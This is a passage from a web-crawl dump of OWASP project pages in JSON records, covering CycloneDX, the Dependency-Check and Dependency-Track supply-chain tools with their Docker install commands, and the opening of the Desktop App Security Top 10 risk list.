Materials (ML-BOM)\n- Cryptography Bill of Materials (CBOM)\n- Manufacturing Bill of Materials (MBOM)\n- Operations Bill of Materials (OBOM)\n- Vulnerability Disclosure Reports (VDR)\n- Vulnerability Exploitability eXchange (VEX)\n- CycloneDX Attestations (CDXA)\n\nThe CycloneDX project provides standards in JSON, XML, and Protocol Buffers, as well as a large \n[collection of official and community supported tools](https://cyclonedx.org/tool-center/) that create or interoperate \nwith the standard.\n\nThe projects website has many documented [use cases and examples](https://cyclonedx.org/use-cases/) that provide a \nspringboard to SBOM adoption.\n\nThe project operates as a [meritocracy](https://cyclonedx.org/about/governance/) whose \n[guiding principals](https://cyclonedx.org/about/guiding-principles/) reinforce its \n[risk-based approach to standards development](https://cyclonedx.org/participate/standardization-process). \nThe project encourages [community participation](https://cyclonedx.org/participate/contribute) in the development of the \n[standard and supporting tools](https://github.com/CycloneDX).\n\nStrategic direction of the [specification](https://cyclonedx.org/docs/latest) is managed by \nthe [CycloneDX Core Working Group](https://cyclonedx.org/participate/working-groups/), is backed by the\n[OWASP Foundation](https://owasp.org), and is supported by the global information security community.\n\n---\n\n## Resources\n\n- [Software Bill of Materials (SBOM)](https://www.ntia.gov/SBOM) \n *National Telecommunications and Infrastructure Administration (NTIA) (United States)*\n- [Using the Software Bill of Materials for Enhancing Cybersecurity](https://english.ncsc.nl/research/publications/publications/2021/february/4/using-the-software-bill-of-materials-for-enhancing-cybersecurity) \n *National Cyber Security Centre (NCSC) (Netherlands)*\n- [Guidelines for Securing the Internet of Things](https://www.enisa.europa.eu/publications/guidelines-for-securing-the-internet-of-things) \n *European Union Agency for Cybersecurity (ENISA)*\n- [OWASP Software Component Verification Standard (SCVS)](https://owasp.org/scvs) \n *Open Web Application Security Project (OWASP)*\n\n---\n\n## CycloneDX Unplugged\n\nCycloneDX Unplugged is a community showcase of commercial and open source projects that support or interoperate with \nthe OWASP CycloneDX Software Bill of Materials (SBOM) standard. CycloneDX Unplugged is part of the \n[CycloneDX YouTube channel](https://www.youtube.com/channel/UCcUKDc0izYoyQKdzAsraoUQ).\n\nA focus of the playlist is on the creation, consumption, analysis, conversion, and distribution of CycloneDX along with \nthe tools and processes that serve to better operationalize SBOMs for greater transparency and cybersecurity risk reduction.\n\nCycloneDX Unplugged honors OWASP’s mission of helping improve software security in a vendor neutral way. Requirements\nfor inclusion are:\n\n- Any commercial or open source project that consumes, analyzes, produces, or distributes CycloneDX SBOMs.\n- All projects or vendors have a limit of 3 videos that will be publicly listed at any given time.\n- Videos must not exceed 15 minutes.\n- Videos must be factual and describe capabilities currently available.\n- Videos may be self-produced, or produced in collaboration with the CycloneDX Core Working Group.\n- All videos will be edited to include a standardized intro.\n\nTo participate in CycloneDX Unplugged, please send an email to the CycloneDX project leads:\n\n- Patrick Dwyer [patrick.dwyer@owasp.org](mailto:patrick.dwyer@owasp.org)\n- Steve Springett [steve.springett@owasp.org](mailto:steve.springett@owasp.org)\n- Jeffry Hesse [jeffry.hesse@owasp.org](mailto:jeffry.hesse@owasp.org)\n\n---\n\nDependency-Track is developed by a worldwide team of volunteers.\n\nBut we have also been helped by many organizations, either financially or by encouraging their employees to work on Dependency-Track:\n\n## Financial Supporters\n\n## Industry Working Group Supporters\n\n---\n\nVisit [https://cyclonedx.org/about/supporters/](https://cyclonedx.org/about/supporters/) for a comprehensive list\nof all known vendors and projects that support the CycloneDX standard.\n\n---\n\n[Watch](https://github.com/CycloneDX/specification/subscription) [Star](https://github.com/CycloneDX/specification)", "znaku_textu": 4985, "slov": 544, "odkazu": 68, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:48", "sha256": "b1c56ed5bdddf60b2a722a3082247e7b4442fc05aa2250e36394969b585cea26", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cyclonedx.org/", "https://ecma-international.org/", "https://ecma-international.org/publications-and-standards/standards/ecma-424/", "https://tc54.org/", "https://cyclonedx.org/tool-center/", "https://cyclonedx.org/use-cases/", "https://cyclonedx.org/about/governance/", "https://cyclonedx.org/about/guiding-principles/", "https://cyclonedx.org/participate/standardization-process", "https://cyclonedx.org/participate/contribute", "https://github.com/CycloneDX", "https://cyclonedx.org/docs/latest", "https://cyclonedx.org/participate/working-groups/", "https://www.ntia.gov/SBOM", "https://english.ncsc.nl/research/publications/publications/2021/february/4/using-the-software-bill-of-materials-for-enhancing-cybersecurity", "https://www.enisa.europa.eu/publications/guidelines-for-securing-the-internet-of-things", "https://www.youtube.com/channel/UCcUKDc0izYoyQKdzAsraoUQ", "https://apiiro.com/", "https://www.fortressinfosec.com/", "https://kondukto.io/", "https://contrastsecurity.com/", "https://ibm.com/", "https://ionchannel.io/", "https://lockheedmartin.com/", "https://nowsecure.com/", "https://sonatype.com/", "https://vdoo.com/", "https://xperi.com/", "https://cyclonedx.org/about/supporters/", "https://github.com/CycloneDX/specification/subscription", "https://github.com/CycloneDX/specification", "https://cyclonedx.org/slack", "https://cyclonedx.org/slack/invite", "https://twitter.com/CycloneDX_Spec", "https://www.apache.org/licenses/LICENSE-2.0", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-dependency-check/", "titulek": "OWASP Dependency-Check | OWASP Foundation", "h1": "OWASP Dependency-Check", "popis": "Dependency-Check is a Software Composition Analysis (SCA) tool suite that identifies project dependencies and checks if there are any known, publicly disclosed, vulnerabilities.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-dependency-check/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Dependency-Check is a Software Composition Analysis (SCA) tool suite that identifies project dependencies and checks if there are any known, publicly disclosed, vulnerabilities.", "og:title": "OWASP Dependency-Check | OWASP Foundation", "og:url": "https://owasp.org/www-project-dependency-check/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Dependency-Check"}, {"uroven": 2, "text": "Introduction"}], "markdown": "# OWASP Dependency-Check\n\nDependency-Check is a Software Composition Analysis (SCA) tool that attempts to detect publicly disclosed vulnerabilities contained within a project’s dependencies. It does this by determining if there is a Common Platform Enumeration (CPE) identifier for a given dependency. If found, it will generate a report linking to the associated CVE entries.\n\n## Introduction\n\nThe OWASP Top 10 2013 contained a new entry: A9-Using Components with Known Vulnerabilities. Dependency-Check was created as one of the earliest SCA tools to scan applications (and their dependent libraries) and identify any known vulnerable components.\n\nThe problem with using known vulnerable components was described very well in a paper by Jeff Williams and Arshan Dabirsiaghi titled, “[Unfortunate Reality of Insecure Libraries](https://www.scribd.com/document/175866686/Aspect-Security-the-Unfortunate-Reality-of-Insecure-Libraries)”. The gist of the paper is that we as a development community include third party libraries in our applications that contain well known published vulnerabilities (such as those at the [National Vulnerability Database](https://nvd.nist.gov/vuln/search)).\n\nDependency-Check has a command line interface, a Maven plugin, a Gradle plugin, an Ant task and a number of integrations with build tooling such as Jenkins, GitHub Actions and Azure DevOps. The core engine contains a series of analyzers that inspect the project dependencies, collect pieces of information about the dependencies (referred to as evidence within the tool). The evidence is then used to identify the [Common Platform Enumeration (CPE)](https://nvd.nist.gov/products/cpe) for the given dependency. If a CPE is identified, a listing of associated [Common Vulnerability and Exposure (CVE)](https://www.cve.org/) entries are listed in a report. Other 3rd party services and data sources such as the NPM Audit API, the OSS Index, RetireJS, and Bundler Audit are utilized for specific technologies.\n\nDependency-Check automatically updates itself using the [NVD Data Feeds](https://nvd.nist.gov/vuln/data-feeds) hosted by NIST. ‘'’IMPORTANT NOTE:’’’ The initial download of the data may take ten minutes or more. If you run the tool at least once every seven days, only a small JSON file needs to be downloaded to keep the local copy of the data current.\n\n---\n\n[Watch](https://github.com/dependency-check/DependencyCheck/subscription) [Star](https://github.com/dependency-check/DependencyCheck)", "znaku_textu": 2476, "slov": 342, "odkazu": 52, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:51", "sha256": "371e4d99676727e16354ba9db79f96083c0f00c694915c6120e6e19786ad72c2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.scribd.com/document/175866686/Aspect-Security-the-Unfortunate-Reality-of-Insecure-Libraries", "https://nvd.nist.gov/vuln/search", "https://nvd.nist.gov/products/cpe", "https://www.cve.org/", "https://nvd.nist.gov/vuln/data-feeds", "https://github.com/dependency-check/DependencyCheck/subscription", "https://github.com/dependency-check/DependencyCheck", "https://github.com/dependency-check/DependencyCheck/releases/latest", "https://dependency-check.github.io/DependencyCheck/dependency-check-cli/index.html", "https://central.sonatype.com/artifact/org.owasp/dependency-check-maven", "https://dependency-check.github.io/DependencyCheck/dependency-check-maven/index.html", "https://plugins.gradle.org/plugin/org.owasp.dependencycheck", "https://dependency-check.github.io/DependencyCheck/dependency-check-gradle/index.html", "https://dependency-check.github.io/DependencyCheck/dependency-check-ant/index.html", "https://formulae.brew.sh/formula/dependency-check", "https://hub.docker.com/r/owasp/dependency-check", "https://github.com/nMoncho/sbt-dependency-check", "https://github.com/livingsocial/lein-dependency-check", "https://github.com/dependency-check/dependency-check-sonar-plugin", "https://plugins.jenkins.io/dependency-check-jenkins-plugin", "https://github.com/dependency-check/Dependency-Check_Action", "https://marketplace.visualstudio.com/items?itemName=dependency-check.dependencycheck", "https://dependency-check.github.io/DependencyCheck/", "https://github.com/dependency-check/DependencyCheck/issues", "https://github.com/dependency-check/dependency-check-gradle", "https://github.com/jenkinsci/dependency-check-plugin", "https://github.com/dependency-check/azuredevops", "https://dependency-check.github.io/DependencyCheck/general/dependency-check.pdf", "https://dependency-check.github.io/DependencyCheck/general/dependency-check.pptx", "https://www.apache.org/licenses/LICENSE-2.0", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-dependency-track/", "titulek": "OWASP Dependency-Track | OWASP Foundation", "h1": "OWASP Dependency-Track", "popis": "Intelligent Component Analysis platform that allows organizations to identify and reduce risk in the software supply chain.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-dependency-track/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Intelligent Component Analysis platform that allows organizations to identify and reduce risk in the software supply chain.", "og:title": "OWASP Dependency-Track | OWASP Foundation", "og:url": "https://owasp.org/www-project-dependency-track/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Dependency-Track"}, {"uroven": 2, "text": "Features"}, {"uroven": 2, "text": "Integrations"}, {"uroven": 2, "text": "Installation"}, {"uroven": 3, "text": "Docker Compose"}, {"uroven": 3, "text": "Docker Swarm"}, {"uroven": 2, "text": "News"}, {"uroven": 2, "text": "Supporters"}, {"uroven": 2, "text": "U.S. Executive Order 14028"}, {"uroven": 3, "text": "For software consumers"}, {"uroven": 3, "text": "For software producers"}, {"uroven": 3, "text": "Other considerations"}], "markdown": "# OWASP Dependency-Track\n\nFor more details about Dependency-Track see the projects website at [dependencytrack.org](https://dependencytrack.org/)\n\nDependency-Track is an intelligent [Component Analysis](https://owasp.org/www-community/Component_Analysis) platform that allows organizations to\nidentify and reduce risk in the software supply chain. Dependency-Track takes a unique\nand highly beneficial approach by leveraging the capabilities of [Software Bill of Materials](https://owasp.org/www-community/Component_Analysis#software-bill-of-materials-sbom) (SBOM). This approach\nprovides capabilities that traditional Software Composition Analysis (SCA) solutions cannot achieve.\n\nDependency-Track monitors component usage across all versions of every application in its portfolio in order to\nproactively identify risk across an organization. The platform has an API-first design and is ideal for use in\nCI/CD environments.\n\n---\n\n## Features\n\n- Consumes and produces [CycloneDX](https://cyclonedx.org) Software Bill of Materials (SBOM)\n- Consumes and produces CycloneDX Vulnerability Exploitability Exchange (VEX)\n- Full-stack component support for:\n - Applications\n - Libraries\n - Frameworks\n - Operating systems\n - Containers\n - Firmware\n - Files\n - Hardware\n - Services\n- Tracks component usage across every application in an organizations portfolio\n- Quickly identify what is affected, and where\n- Identifies multiple forms of risk including\n - Components with known vulnerabilities\n - Out-of-date components\n - Modified components\n - License risk\n - More coming soon…\n- Integrates with multiple sources of vulnerability intelligence including:\n - [National Vulnerability Database](https://nvd.nist.gov) (NVD)\n - [GitHub Advisories](https://www.github.com/advisories)\n - [Sonatype OSS Index](https://ossindex.sonatype.org)\n - [VulnDB](https://vulndb.cyberriskanalytics.com) from [Risk Based Security](https://www.riskbasedsecurity.com)\n - More coming soon.\n- Helps to prioritize mitigation by incorporating support for the [Exploit Prediction Scoring System (EPSS)](https://www.first.org/epss/)\n- Maintain a private vulnerability database of vulnerability components\n- Robust policy engine with support for global and per-project policies\n - Security risk and compliance\n - License risk and compliance\n - Operational risk and compliance\n- Ecosystem agnostic with built-in repository support for:\n - Cargo (Rust)\n - Composer (PHP)\n - Gems (Ruby)\n - Hex (Erlang/Elixir)\n - Maven (Java)\n - NPM (Javascript)\n - NuGet (.NET)\n - Pypi (Python)\n - More coming soon.\n- Identifies APIs and external service components including:\n - Service provider\n - Endpoint URIs\n - Data classification\n - Directional flow of data\n - Trust boundary traversal\n - Authentication requirements\n- Includes a comprehensive auditing workflow for triaging results\n- Configurable notifications supporting Slack, Microsoft Teams, WebEx, Webhooks, and Email\n- Supports standardized SPDX license ID’s and tracks license use by component\n- Easy to read metrics for components, projects, and portfolio\n- Native support for Kenna Security, Fortify SSC, ThreadFix, and DefectDojo\n- API-first design facilitates easy integration with other systems\n- API documentation available in OpenAPI format\n- OAuth 2.0 + OpenID Connect (OIDC) support for single sign-on (authN/authZ)\n- Supports internally managed users, Active Directory/LDAP, and API Keys\n- Simple to install and configure. Get up and running in just a few minutes\n\n---\n\n## Integrations\n\n---\n\n## Installation\n\nDependency-Track is distributed as Docker containers.\n\n### Docker Compose\n\n```\ncurl -LO https://dependencytrack.org/docker-compose.yml\ndocker-compose up -d \n```\n\n### Docker Swarm\n\n```\ncurl -LO https://dependencytrack.org/docker-compose.yml\ndocker swarm init\ndocker stack deploy -c docker-compose.yml dtrack\n```\n\n---\n\n## News\n\nThe latest releases of Dependency-Track are published on GitHub.\n\n👉 **View all releases:**\n\nhttps://github.com/DependencyTrack/dependency-track/releases\n\nFor detailed release notes and documentation, please visit:\n\n📖 **Release announcements & documentation:**\n\nhttps://docs.dependencytrack.org/\n\n---\n\nTo stay up to date:\n\n- Watch the project on GitHub for release notifications\n- Follow the OWASP Dependency-Track project page\n- Join the OWASP Slack (#dependency-track channel)\n\n---\n\n## Supporters\n\nDependency-Track is developed by a worldwide team of volunteers.\n\nBut we have also been helped by many organizations, either financially or by encouraging their employees to work on Dependency-Track:\n\n---\n\n## U.S. Executive Order 14028\n\nSince its inception in 2013, OWASP Dependency-Track has been at the forefront of analyzing bill of materials for cybersecurity\nrisk identification and reduction. Dependency-Track allows organizations and governments to operationalize SBOM in\nconformance with [U.S. Executive Order 14028](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/).\n\n- Supports the OWASP CycloneDX BOM format specifically defined in the [NTIA Minimum Elements For a Software Bill of Materials(SBOM)](https://www.ntia.gov/files/ntia/publications/sbom_minimum_elements_report.pdf)\n- Consumes and analyzes SBOMs for known security, operational, and license risk\n- Ideal for use in [procurement](https://docs.dependencytrack.org/usage/procurement/) and [continuous integration and delivery](https://docs.dependencytrack.org/usage/cicd/) environments\n- Supports the OWASP CycloneDX VEX format exceeding the [Vulnerability Exploitability Exchange requirements defined by CISA](https://www.cisa.gov/sites/default/files/publications/VEX_Use_Cases_Document_508c.pdf)\n\n### For software consumers\n\n- Tracks all systems and applications that have SBOMs\n- Upload SBOMs through the user interface or via automation\n- Components defined in SBOMs will be analyzed for known vulnerabilities using multiple sources of vulnerability intelligence, including the [NVD](https://nvd.nist.gov/)\n- Displays all identified vulnerabilities and vulnerable components for every SBOM analyzed\n- Upload CycloneDX VEX obtained from suppliers to gain insight into the vulnerable components that pose risk, and the ones that don’t\n- Quickly identify all systems and applications that have a specific component or are affected by a specific vulnerability\n- Helps to prioritize mitigation by incorporating support for the [Exploit Prediction Scoring System (EPSS)](https://www.first.org/epss/)\n- Evaluate the portfolio of systems and applications against user-configurable security, operational, and license policies\n\n### For software producers\n\n- Create and consume CycloneDX SBOMs in development pipelines\n- SBOMs will be analyzed for known security, operational, and license risk\n- Evaluates the portfolio of applications against user-configurable security, operational, and license policies\n- Inspect security findings and make audit decisions about the relevance and exploitability of each vulnerability\n- CycloneDX BOMs can be dynamically generated from current inventory for any application\n- CycloneDX VEX is dynamically generated from audit decisions for each application\n- An API-first design allows software producers to extract SBOMs for released products, produce VEX whenever updated audit decisions are made, and make data available to internal systems responsible for SBOM and VEX distribution.\n\n### Other considerations\n\n- Both CycloneDX and Dependency-Track are full-stack solutions supporting software, hardware, and services. The CycloneDX standard and use with Dependency-Track is not limited to SBOM use cases.\n- Software consumers may optionally audit security findings from vendor SBOMs. If consumers discover discrepancies in vendor supplied VEX, consumers can share their own auto-generated VEX with suppliers, completing a bi-directional exchange of vulnerability and exploitability information.\n\n---\n\n[Watch](https://github.com/DependencyTrack/dependency-track/subscription) [Star](https://github.com/DependencyTrack/dependency-track)", "znaku_textu": 7847, "slov": 933, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:43", "sha256": "107ae0b57d8da2bfb1be265202d64286afb89c67023084486d48034981165cbd", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://dependencytrack.org/", "https://cyclonedx.org/", "https://nvd.nist.gov/", "https://www.github.com/advisories", "https://ossindex.sonatype.org/", "https://vulndb.cyberriskanalytics.com/", "https://www.riskbasedsecurity.com/", "https://www.first.org/epss/", "https://www.kpmg.com/", "https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/", "https://www.ntia.gov/files/ntia/publications/sbom_minimum_elements_report.pdf", "https://docs.dependencytrack.org/usage/procurement/", "https://docs.dependencytrack.org/usage/cicd/", "https://www.cisa.gov/sites/default/files/publications/VEX_Use_Cases_Document_508c.pdf", "https://github.com/DependencyTrack/dependency-track/subscription", "https://github.com/DependencyTrack/dependency-track", "https://docs.dependencytrack.org/", "https://github.com/DependencyTrack", "https://dependencytrack.org/slack", "https://dependencytrack.org/slack/invite", "https://twitter.com/dependencytrack", "https://www.youtube.com/channel/UC8xdttysl3gNAQYvk1J9Efg", "https://www.apache.org/licenses/LICENSE-2.0", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-desktop-app-security-top-10/", "titulek": "OWASP Desktop App Security Top 10 | OWASP Foundation", "h1": "OWASP Desktop App Security Top 10", "popis": "Consists of vulnerabilities for all major desktop app platform, derived from publicaly known exploits, CVEs etc.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-desktop-app-security-top-10/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Consists of vulnerabilities for all major desktop app platform, derived from publicaly known exploits, CVEs etc.", "og:title": "OWASP Desktop App Security Top 10 | OWASP Foundation", "og:url": "https://owasp.org/www-project-desktop-app-security-top-10/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Desktop App Security Top 10"}, {"uroven": 1, "text": "OWASP Top 10 Desktop Application Security Risks (2021) | Quick Reference Table"}, {"uroven": 1, "text": "OWASP Top 10 Desktop Application Security Risks (2021) | Detailed Description"}, {"uroven": 3, "text": "DA1 - Injections"}, {"uroven": 3, "text": "DA2 - Broken Authentication and Session Management"}, {"uroven": 3, "text": "DA3 - Sensitive Data Exposure"}, {"uroven": 3, "text": "DA4 - Improper Cryptography Usage"}, {"uroven": 3, "text": "DA5 - Improper Authorization"}, {"uroven": 3, "text": "DA6 - Security Misconfiguration"}, {"uroven": 3, "text": "DA7 - Insecure Communication"}, {"uroven": 3, "text": "DA8 - Poor Code Quality"}, {"uroven": 3, "text": "DA9 - Using Components with Known Vulnerabilities"}, {"uroven": 3, "text": "DA10 - Insufficient Logging & Monitoring"}, {"uroven": 1, "text": "OWASP Top 10 Desktop Application Security Risks | Detailed"}, {"uroven": 1, "text": "DA1 - Injections"}, {"uroven": 3, "text": "Description:"}, {"uroven": 3, "text": "Exploitability Rational:"}, {"uroven": 3, "text": "Impact:"}, {"uroven": 3, "text": "Prevention:"}, {"uroven": 1, "text": "DA2 - Broken Authentication and Session Management"}, {"uroven": 3, "text": "Description:"}, {"uroven": 3, "text": "Exploitability Rational:"}, {"uroven": 3, "text": "Impact:"}, {"uroven": 3, "text": "Prevention:"}, {"uroven": 1, "text": "DA3 - Sensitive Data Exposure"}, {"uroven": 3, "text": "Description:"}, {"uroven": 3, "text": "Exploitability Rational:"}, {"uroven": 3, "text": "Impact:"}, {"uroven": 3, "text": "Prevention:"}, {"uroven": 1, "text": "DA4 - Improper Cryptography Usage"}, {"uroven": 3, "text": "Description:"}, {"uroven": 3, "text": "Exploitability Rational:"}, {"uroven": 3, "text": "Impact:"}, {"uroven": 3, "text": "Prevention:"}, {"uroven": 1, "text": "DA5 - Improper Authorization"}, {"uroven": 3, "text": "Description:"}, {"uroven": 3, "text": "Exploitability Rational:"}, {"uroven": 3, "text": "Impact:"}, {"uroven": 3, "text": "Prevention:"}, {"uroven": 1, "text": "DA6 - Security Misconfiguration"}, {"uroven": 3, "text": "Description:"}, {"uroven": 3, "text": "Exploitability Rational:"}, {"uroven": 3, "text": "Impact:"}, {"uroven": 3, "text": "Prevention:"}, {"uroven": 1, "text": "DA7 - Insecure Communication"}, {"uroven": 3, "text": "Description:"}, {"uroven": 3, "text": "Exploitability Rational:"}, {"uroven": 3, "text": "Impact:"}, {"uroven": 3, "text": "Prevention:"}, {"uroven": 1, "text": "DA8 - Poor Code Quality"}, {"uroven": 3, "text": "Description:"}, {"uroven": 3, "text": "Exploitability Rational:"}, {"uroven": 3, "text": "Impact:"}, {"uroven": 3, "text": "Prevention:"}, {"uroven": 1, "text": "DA9 - Using Components with Known Vulnerabilities"}, {"uroven": 3, "text": "Description:"}, {"uroven": 3, "text": "Exploitability Rational:"}, {"uroven": 3, "text": "Impact:"}, {"uroven": 3, "text": "Prevention:"}, {"uroven": 1, "text": "DA10 - Insufficient Logging & Monitoring"}, {"uroven": 3, "text": "Description:"}, {"uroven": 3, "text": "Exploitability Rational:"}, {"uroven": 3, "text": "Impact:"}, {"uroven": 3, "text": "Prevention:"}, {"uroven": 1, "text": "OWASP Top 10 Desktop Application Security Risks (2021) | Ranking based on severity and frequency of CVE"}], "markdown": "# OWASP Desktop App Security Top 10\n\n# OWASP Top 10 Desktop Application Security Risks (2021) | Quick Reference Table\n\nThe OWASP Desktop App. Security Top 10 is a standard awareness document for developers, product owners and security engineers. It represents a broad consensus about the most critical security risks to Desktop applications.\n\nGlobally recognized by developers as the first step towards more secure coding.\n\nCompanies should adopt this document and start the process of ensuring that their desktop applications / thick-clients minimize these risks. Using the OWASP Top 10 is perhaps the most effective first step towards changing the software development culture within your organization into one that produces more secure code.\n\n| OWASP Top 10 Desktop App | Examples |\n| --- | --- |\n| DA1 - Injections | SQLi, LDAP, XML, OS Command, etc. |\n| DA2 - Broken Authentication & Session Management | OS / DesktopApp account Authentication & Session Management, Auth. for Import / Export with external Drive, Auth. for Network Shared Drives or other Peripheral devices |\n| DA3 - Sensitive Data Exposure | Data in Memory post App Logout, Logs with Sensitive Info., Hardcoded Secrets in files, etc. |\n| DA4 - Improper Cryptography Usage | Weak Keys or Usage of Outdated Cryptographic Algorithms, Inappropriate usage of Cryptographic Functions, reuse of Cryptographic Parameters across all Installations, Improper usage of Cryptography for Integrity check |\n| DA5 - Improper Authorization | Weak File/Folder Permission per User Role, Missing Principle of Least Privilege approach, Improper User Roles |\n| DA6 - Security Misconfiguration | Weak OS Hardening, Misconfigured Group Policies / Registry / Firewall rules etc., Missing File Type check for File Processing Apps, Misconfigured Named-Pipes, misconfigured 3rd party services, etc. |\n| DA7 - Insecure Communication | Usage of weak TLS or DTLS Cipher-suites or Protocols, Unencrypted DB Queries in Transit, Absent Encrypted standard/custom protocol communication like HTTP, MQTT, COAP, etc. |\n| DA8 - Poor Code Quality | Missing Code-Signing and Verification for File Integrity, Missing Code Obfuscation, Dll-Preloading or Injection, Race Conditions, lack of binary protection (Overflows, Null pointers, memory corruption) etc. |\n| DA9 - Using Components with Known Vulnerabilities | Usage of Outdated Softwares, or Usage of Obsolete Components/Services of Windows/3rd Party vendors |\n| DA10 - Insufficient Logging & Monitoring | Missing or Improper Logging of Activities, Missing Regular Monitoring to Detect Abuse |\n\nNote: These Top10 have been created keeping in mind Windows, *Nix platforms and using commonly available CVE, exploits, writeups.\n\n---\n\n# OWASP Top 10 Desktop Application Security Risks (2021) | Detailed Description\n\n### DA1 - Injections\n\nIssues such as SQL, LDAP, XML, OS command injection, etc. occur when untrusted input is passed to the interpreter as a part of a query/command. An attacker can trick interpreters to execute arbitrary commands to perform unwanted operations or gather unauthorized data.\n\n### DA2 - Broken Authentication and Session Management\n\nIt includes issues such as insecure authentication implementation, authentication bypass, improper session, etc. An attacker can exploit insecure implementation in order to compromise user sessions, passwords and keys or to assume the identity of the user of the application.\n\n### DA3 - Sensitive Data Exposure\n\nUnintentional exposure of sensitive information such as PII, financial information, healthcare information or application keys and secrets. This may include data in memory post app logout, logs with sensitive info., hardcoded secrets in files (dll, binaries, configuration files), etc. An attacker can use this information to carry out identity frauds.\n\n### DA4 - Improper Cryptography Usage\n\nIssues such as usage of weak cryptographic algorithms, weak keys or secrets, custom cryptographic functions and insecure key management. An attacker can exploit these flaws to retrieve the sensitive information or to attack the users of the different instances of the same application.\n\n### DA5 - Improper Authorization\n\nAuthorization flaws include weak file/folder permission per user role, missing principle of least privilege approach, improper user roles, unauthorized access to registry or environment variables, etc. An attacker can gain elevated privilege of the application or of the target system.\n\n### DA6 - Security Misconfiguration\n\nFlaws include misconfigured group policies / registry / firewall rules etc., missing file-content type check for file processing apps, misconfigured named-pipes, misconfigured supporting services used by the application, misconfigured third party services (SQL, AD, etc). An attacker can gain system access by exploiting these flaws.\n\n### DA7 - Insecure Communication\n\nInsecure communication issues include usage of weak TLS or DTLS cipher-suites/protocols, plaintext database connections, usage of plaintext communication protocols such as HTTP, COAP, MQTT,etc. These flaws allow an attacker to perform MiTM attacks in order to sniff and manipulate the data of an active connection.\n\n### DA8 - Poor Code Quality\n\nIssues related to absence of secure coding practices such as missing code-signing and verification of file integrity, missing code obfuscation, lack of binary protection, memory leaks, buffer overflows, etc. An attacker can reverse engineer the application in order to obtain information about the application logic, business specific proprietary logic or can exploit application processing using binary attacks like dll-preloading or injections, overflow/underflows and memory corruption.\n\n### DA9 - Using Components with Known Vulnerabilities\n\nIt includes usage of outdated softwares, obsolete components/services of OS/Third-party vendors. An attacker can exploit the vulnerable components/services to retrieve information or to compromise the target system either locally or remotely depending upon the exploit.\n\n### DA10 - Insufficient Logging & Monitoring\n\nIncludes missing or insecure implementation of logs, improper parameters within audit logs, missing regular monitoring to detect abuse, etc. Centralized Logging and monitoring are used to detect/analyze an incident and to detect an active attack respectively, sometimes attackers try to manipulate this data to prevent alarms with many techniques like timestomping and many others, such issues also have to be focused.\n\n# OWASP Top 10 Desktop Application Security Risks | Detailed\n\n---\n\n# DA1 - Injections\n\n### Description:\n\nIssues such as SQL, LDAP, XML, OS command injection, etc. occur when untrusted input is passed to the interpreter as a part of a query/command. In general Desktop apps widely use 2 or 3 Tier architecture, so depending upon the sink, it would be impacted.\nDesktop apps may use XML to save configuration/data hence all kinds of XML injections would apply. They also quite often use databases like MySQL/MSSQL/etc., so they are equally vulnerable to SQL injections. Many Desktop apps provide functionality which may use system calls in background, leaving wide exposure to OS command injection. Sometimes desktop apps are made to render HTML content (e.g. email clients), so HTML injections are also possible. Sometimes the sink can be scripting templates, XPath, LDAP, etc., so those would be equally impacted. So just like Web applications, Desktop apps are quite vulnerable to all common Injection attacks. If Desktop apps consume web API/microservices, so all relevant attacks of the web would also be applicable here.\n\n### Exploitability Rational:\n\nSince desktop apps may be used under multiple situations, it might need an user to login or sometimes a guest user like a public kiosk.\n\n### Impact:\n\nBased upon sink, either it may end up into a successful privileged command execution, unauthorized data access, entire system compromise or denial of service.\n\n### Prevention:\n\n- One of the quite common practices is to sanitize user input, considering all input as suspicious.\n- Industrial Standard recommendation for SQL like usage of stored procedures / parameterized queries.\n- Avoiding user input getting into execution of system level commands.\n- Using forms of encoding based upon where it is going to be used, can prevent injections.\n\n# DA2 - Broken Authentication and Session Management\n\n### Description:\n\nDesktop apps either have their own application 